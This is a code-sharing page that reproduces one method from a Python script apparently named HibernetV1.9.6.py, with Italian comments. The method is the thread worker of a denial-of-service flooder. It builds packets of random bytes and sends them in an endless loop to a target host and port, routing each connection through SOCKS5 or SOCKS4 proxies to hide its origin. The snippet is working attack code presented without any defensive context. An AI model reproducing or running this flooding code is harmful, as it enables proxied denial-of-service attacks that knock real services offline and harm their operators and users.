HibernetV1.9.6.py 文件源码

python
阅读 35 收藏 0 点赞 0 评论 0

项目:Hibernet 作者: All3xJ 项目源码 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        data = random._urandom(1024) # data per il pacchetto random
        p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data
        current = x # per dare l'id al thread
        if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
            proxy = proxies[current].strip().split(':')
        else: # altrimenti lo prende a random
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # aspetta che threads siano pronti
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per il proxying via SOCKS
                s = socks.socksocket() # creazione socket
                s.connect((str(url2),int(port))) # si connette
                s.send(p) # ed invia
                print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
            except: # se si verifica un errore
                s.close() # intanto chiude il precedente socket non funzionante
                try:
                    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # poi prova ad utilizzare SOCKS4, magari e' questo il problema dell'errore
                    s = socks.socksocket() # creazione socket
                    s.connect((str(url2),int(port))) # connessione
                    s.send(p) # invio
                    print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
                except: # se nemmeno questo funge, allora il sock e' down
                    print ("Sock down. Retrying request. @", self.counter)
                    s.close() # chiude il socket e ricomincia ciclo
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号